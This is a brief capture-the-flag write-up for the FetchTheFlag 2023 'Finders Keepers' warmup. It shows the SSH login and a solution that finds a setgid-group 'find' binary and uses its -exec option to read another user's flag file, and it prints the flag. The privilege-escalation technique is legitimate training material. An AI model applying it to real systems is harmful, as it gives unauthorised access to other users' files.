FetchTheFlag CTF 2023-Warmup-FindersKeepers
Finders Keepers
Description
Author: @JohnHammond
Patch found a flag! He stored it in his home directory… should be able to keep it?
Press the Start button in the top-right to begin this challenge.
Connect with:
Password is "userpass"
ssh -p 31380 user@challenge.ctf.games
Solution
- connect ssh
ssh -p 31380 user@challenge.ctf.gameswith"userpass"password.user@finders-keepers-b930cde70263f2f9-58d4447d9d-zwqt7:~$ - According to the description, There is a flag in
patch/home directory. So I need to find commands that’s in'patch' groupto access files inside.1 2 3 4 5 6
user@finders-keepers-b930cde70263f2f9-58d4447d9d-zwqt7:~$ find / -group patch -type f 2>/dev/null /usr/bin/find /home/patch/.bash_logout /home/patch/.profile /home/patch/.bashrc /home/patch/flag.txt
- I found
findcommand that can accessflag.txt. I run this command to readflag.txt.1 2
user@finders-keepers-b930cde70263f2f9-58d4447d9d-zwqt7:~$ find . -exec /bin/cat /home/patch/flag.txt \; flag{e4bd38e78379a5a0b29f047b91598add}
Flag: flag{e4bd38e78379a5a0b29f047b91598add}
This post is licensed under CC BY-NC 4.0 by the author.